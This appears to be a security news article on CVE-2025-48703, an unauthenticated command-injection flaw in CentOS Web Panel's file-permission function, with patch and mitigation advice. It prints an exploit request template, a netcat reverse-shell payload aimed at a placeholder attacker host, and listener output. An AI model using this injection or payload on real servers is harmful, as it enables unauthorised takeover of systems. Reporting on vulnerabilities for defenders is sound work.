A severe security flaw (CVE-2025-48703) in CentOS Web Panel (CWP) enables unauthenticated attackers to execute arbitrary commands on affected servers.
This vulnerability impacts CWP versions 0.9.8.1204 and 0.9.8.1188 on CentOS 7 systems, potentially compromising hundreds of thousands of servers globally.
The vulnerability combines an authentication bypass with command injection in the file permission change function.
Technical Exploit Mechanism
The exploit chain begins with an authentication bypass in CWP’s user interface (port 2083).
Attackers can send malicious requests to the file manager endpoint without valid session cookies by restructuring the URL path:
textPOST /myuser/index.php?module=filemanager&acc=changePerm HTTP/1.1
Host: target-server:2083
[...]
fileName=.bashrc¤tPath=/home/user/&t_total=$(malicious_command)
The critical vulnerability resides in the t_total parameter, which passes unsanitized input directly to the chmod system command.
This allows command injection through shell metacharacters like backticks or $(). For example, injecting `nc attacker-ip 9999 -e /bin/bash` opens a reverse shell to the attacker’s server.
Attack Execution and Impact
Successful exploitation requires knowing a valid non-root username on the target system, which attackers can enumerate through Shodan searches (Server: cwpsrv).
Once exploited, attackers gain full command execution as the compromised user.
Proof-of-concept output shows complete shell access:
bash$ nc -vlp 9999
Connection received from [victim-ip]
id
uid=1001(user) gid=1001(user) groups=1001(user)
This vulnerability is particularly dangerous because CWP’s ionCube-protected source code hinders independent security audits.
With over 200,000 CWP instances exposed online, widespread server takeovers are possible.
Mitigation and Patch Status
CWP developers released a patch in version 0.9.8.1205 (June 2025).
]Administrators must immediately:
- Upgrade CWP using the built-in updater
- Audit system users and remove unnecessary accounts
- Restrict firewall access to ports 2083/2087
The vulnerability timeline shows disclosure on May 13, 2025, with CVE assignment on May 23 and patch release in June. Organizations should prioritize patching given the low attack complexity and high impact of unauthenticated RCE.
Find this Story Interesting! Follow us on LinkedIn and X to Get More Instant updates